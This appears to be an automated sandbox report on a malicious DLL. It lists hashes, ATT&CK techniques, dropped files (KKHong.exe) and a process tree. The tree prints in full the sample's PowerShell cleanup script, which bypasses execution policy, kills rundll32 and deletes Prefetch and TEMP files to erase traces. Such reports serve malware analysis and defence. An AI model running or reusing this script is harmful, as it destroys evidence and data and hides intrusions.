b1b2e07ccd5b9912d9712d549f3eec49b7d88273ae007abf47b54cc3d46fe0dd

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b1b2e07ccd5b9912d9712d549f3eec49b7d88273ae007abf47b54cc3d46fe0dd.dll
Size 1.3MB
Sample260706-e23hcsdv6k
SHA256 b1b2e07ccd5b9912d9712d549f3eec49b7d88273ae007abf47b54cc3d46fe0dd
MD5 e01832f14f29bfddb631dc8c25880d24
SHA1 db62e6de598f0b16f1ea483a18f76a7f36a09a7f
SHA512 464f17cc927a39f0574661c1a9848e2b765914b808349d71ba48547a87d1d9d8f09ff04efe1d3736cae2d27764758a92f2323ae185a980ce892d1bb4426efd43
SSDEEP 24576:ryfW78WrZZ00xG5lpb/AwuKam/uRyuN3P/p6:rWWtZlG5lpNK1l3k
TLSH
T1E255AE02FAD1C0F2C25D06301476A73E9B799AA14A20CAD7E794EEB95D33391973235F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5948	KKHong.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\KKHong.exe	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\KKHong.exe	rundll32.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/6092-0-0x0000000002E50000-0x0000000002E68000-memory.dmp	upx
behavioral2/memory/6092-1-0x0000000002E50000-0x0000000002E68000-memory.dmp	upx
behavioral2/memory/6092-10-0x0000000002E50000-0x0000000002E68000-memory.dmp	upx
behavioral2/memory/6092-12-0x0000000002E50000-0x0000000002E68000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3708	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	rundll32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE	rundll32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3708	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6092	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 6096 wrote to memory of 6092	6096	rundll32.exe	91
PID 6092 wrote to memory of 5948	6092	rundll32.exe	92
PID 6092 wrote to memory of 3904	6092	rundll32.exe	94
PID 3904 wrote to memory of 3708	3904	cmd.exe	96

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b1b2e07ccd5b9912d9712d549f3eec49b7d88273ae007abf47b54cc3d46fe0dd.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:6096
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\b1b2e07ccd5b9912d9712d549f3eec49b7d88273ae007abf47b54cc3d46fe0dd.dll,#1
  2⤵
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Checks SCSI registry key(s)
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:6092
- - C:\Windows\SysWOW64\KKHong.exe
    C:\Windows\SysWOW64\KKHong.exe
    3⤵
    - Executes dropped EXE
    PID:5948
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -ExecutionPolicy Bypass -File $processName = "rundll32.exe" $filesToDelete = @( "C:\Windows\Prefetch\*.*", # Ìæ»»ÎªÊµ¼ÊµÄÎÄ¼þÂ·¾¶£¬ÀýÈç "C:\Temp\file1.exe" "C:\kill.ps1" # Ìæ»»ÎªÊµ¼ÊµÄÎÄ¼þÂ·¾¶£¬ÀýÈç "C:\Temp\file2.exe" ) function Remove-File { param ( [string]$path ) if (Test-Path $path) { Remove-Item -Path $path -Recurse -Force } } Stop-Process -Name $processName -Force -ErrorAction SilentlyContinue Stop-Process -Name $processName -Force -ErrorAction SilentlyContinue Stop-Process -Name $processName -Force -ErrorAction SilentlyContinue Stop-Process -Name $processName -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMP\*.exe" -Recurse -Force Remove-Item -Path "$env:TEMP\*.dll" -Recurse -Force Remove-Item -Path "$env:TEMP\*.TTF" -Recurse -Force Remove-Item -Path "$env:TEMP\*.txt" -Recurse -Force Remove-Item -Path "$env:TEMP\*.bat" -Recurse -Force # Ñ»·Ö±µ½Ö¸¶¨µÄÎÄ¼þ²»ÔÙ´æÔÚ do { # ÖÕÖ¹½ø³Ì Stop-Process -Name $processName -Force -ErrorAction SilentlyContinue # É¾³ýÖ¸¶¨µÄÎÄ¼þ foreach ($file in $filesToDelete) { Remove-File -path $file } # µÈ´ýÒ»ÃëÖÓÒÔ±ÜÃâ¹ýÓÚÆµ·±µØ¼ì²é Start-Sleep -Seconds 1 } while (Test-Path $filesToDelete[0]) # ÕâÀïÒÔµÚÒ»¸öÎÄ¼þµÄ´æÔÚ×÷ÎªÌõ¼þ¼ì²é
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File $processName = "rundll32.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_2uydggtl.cnw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uydggtl.cnw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

KKHong.exe

Path C:\Windows\SysWOW64\KKHong.exe
Size 18KB
SHA256 abce7f9ccdfc9ef6419bdf07e378ccf5e550b2a15f3e72b8971c6dbd632555eb
MD5 7ee322b37bfb604f34ec8a87648585f3
SHA1 1508fcab7ae9d56a091e254ae0dfef2b46f5ca11
SHA512 5e06e5d117eab59bb30130fe463207725edf19ec4a0a16aa51a663d71b7bc4141cb5c217340ddba31f56238d28cafd27c334e58d3694154d77cb5e4f6785220a
SSDEEP 384:QY9+e2FvifeXTw1cU9sCOJBpxzPHTR0A:QY7WafwCc6sCOd9PHT
TLSH
T157824D83BB8748EAD125D27889629514D276F4120323B7CF6B96036D0F72BD0BD3B745
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3708-13-0x0000000074872000-0x0000000074873000-memory.dmp

Download

memory/3708-19-0x00000000062D0000-0x0000000006336000-memory.dmp

Download

memory/3708-29-0x0000000074860000-0x000000007501C000-memory.dmp

Download

memory/3708-26-0x00000000063B0000-0x000000000670B000-memory.dmp

Download

memory/3708-20-0x0000000006340000-0x00000000063A6000-memory.dmp

Download

memory/3708-18-0x0000000005AB0000-0x0000000005AD2000-memory.dmp

Download

memory/3708-17-0x0000000074860000-0x000000007501C000-memory.dmp

Download

memory/3708-14-0x0000000003030000-0x0000000003066000-memory.dmp

Download

memory/3708-15-0x0000000074860000-0x000000007501C000-memory.dmp

Download

memory/3708-16-0x0000000005C10000-0x000000000625A000-memory.dmp

Download

memory/6092-0-0x0000000002E50000-0x0000000002E68000-memory.dmp

Download

memory/6092-12-0x0000000002E50000-0x0000000002E68000-memory.dmp

Download

memory/6092-11-0x0000000002E70000-0x0000000002EAE000-memory.dmp

Download

memory/6092-3-0x0000000002E70000-0x0000000002EAE000-memory.dmp

Download

memory/6092-1-0x0000000002E50000-0x0000000002E68000-memory.dmp

Download

memory/6092-10-0x0000000002E50000-0x0000000002E68000-memory.dmp

Download

memory/6092-2-0x00000000369F0000-0x0000000036A00000-memory.dmp

Download